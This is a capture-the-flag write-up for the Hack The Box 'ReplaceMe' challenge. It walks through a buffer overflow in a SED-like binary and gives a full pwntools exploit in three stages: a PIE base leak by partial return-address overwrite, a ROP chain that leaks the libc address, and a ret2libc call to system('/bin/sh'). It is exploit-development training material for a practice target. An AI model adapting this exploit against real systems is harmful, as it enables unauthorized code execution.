Hack The Box - ReplaceMe

Challenge description

This useful interactive SED-like utility was shared with me to use, can you make sure it is safe?

Context

SED is a tool which is mainly used for text manipulation. It is a very powerful tool and can be used to perform a lot of operations on text files. It is mainly used for text substitution, find & replace, and text manipulation.

This challenge is a faulty implementation of SED. The binary allows the user to input some text and is later given the option to replace a string with another string. The vulnerability lies in the way that the replacement is done and it allows the attacker to not only preform a buffer overflow but also to leak stack data.

Stage 1: Leak the stack data + Buffer overflow

We are given the binary and its corresponding libc which it uses on the remote server. We can patch the binary to run it locally and debug it with gdb using the following pwninit:

pwninit

After that we run checksec to see the security features of the binary:

checksec

We note that the binary does not have a stack canary but it has PIE enabled.

Decompiling the binary with ida we see that the main function reads our input which then is passed to the function do_replacement:

main

The do_replacement function is the one that allows us to replace a string with another string. Here is the pseudocode of the function:

replace_1 replace_2

The buffer overflow happens in the s buffer

With this information we write the fist stage of our exploit:

#!/usr/bin/env python3

from pwn import *
import os

os.system("rm core.*")


elf = context.binary=ELF("./replaceme_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.31.so")

context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h"]

p=process(elf.path)
# p=remote('IP',PORT)

# STAGE 1
p.recv()
payload=b'\x90'*120+b'B' 
p.sendline(payload)

p.wait(1)

p.recv()
payload = b's/B/' + b'\x90' * 80 + b'\x4e'+b'/'


p.sendline(payload)
p.wait(1)

leak=p.recv().strip().split(b'Welcome')[0][-6:].ljust(8,b'\x00')

main = u64(leak)
print("MAIN LEAK: ",hex(main))

elf.address = main - elf.symbols.main

print("PIEBASE: ",hex(elf.address))

What is happening here is that, after we preform the buffer overflow, we encounter the problem of PIE, that means that we do not know the address of the functions in the binary and we do not know where to jump to.

To resolve this we only overwrite the last byte of the return address and change it to 0x4e. We do this first beacuse we whant to reload the executian from the main function and second because we can leak the address of the main function and calculate the base address of the binary(PIEBASE).



Stage 2: Leak the puts address and calculate the libc base

We can use the ropper tool to find the gadgets that we need in order to construct a rop payload.

ropper --file replaceme_patched 

After that we ectract the offset from the PIEBASE to the gadgets that we need and we construct the rop payload, pop rdi; ret. We need a pop rdi gadget in order to pass the argument to the puts function.

#STAGE 2
pop_rdi = 0x1733+elf.address
pop_rsi_pop_r15 = 0x1731+elf.address
ret=0x101a+elf.address


payload=b'\x90'*120+b'B' 
p.sendline(payload)
p.wait(1)
p.recv()

# ##############################################

rop=flat(
    pop_rdi,
    elf.got.puts,
    elf.plt.puts,
    ret,
    elf.sym.main
)
# ##############################################

payload2 = b's/B/' + b'\x90' * 80 + rop+b'/'



p.sendline(payload2)
p.wait(1)
leak=p.recv().strip().split(b'Welcome')[0][-7:].ljust(8,b'\x00')

puts = u64(leak)

puts=str(hex(puts)).replace('a','',1)
puts=int(puts,16)

print("PUTS LEAK: ",hex(puts))

libc.address = puts - libc.symbols.puts

print("LIBC BASE: ",hex(libc.address))

We do exactly the same thing as in stage 1 but this time we construct a simple rop payload in order to leak the address of the puts function. We then calculate the base address of the libc by substracting the address of puts from the address of puts in the libc.



Stage 3: Ret2libc

After having the base address of the libc we can now construct the final stage of the exploit which is to call the system function with the argument “/bin/sh”.

#STAGE 3 RET2LIBC

payload=b'\x90'*120+b'B' 
p.sendline(payload)
p.wait(1)
p.recv()

################################################

rop=flat(
    pop_rdi,
    next(libc.search(b'/bin/sh\x00')),
    ret,
    libc.sym.system
)

###############################################

payload2 = b's/B/' + b'\x90' * 80 + rop+b'/'

p.sendline(payload2)
p.wait(1)


p.interactive()

We again construct a rop payload but this time we call the system function with the argument “/bin/sh”.

Note that the ret instruction is used to align the stack on the remote instance.



Conluson

This was a very interesting challenge that allowed us to exploit a buffer overflow and partialy overwrite a ret instrunction in order to leak the address of the main function and calculate the PIEBASE. We then leaked the address of the puts function and calculated the base address of the libc. Finally we constructed a rop payload to call the system function with the argument “/bin/sh”.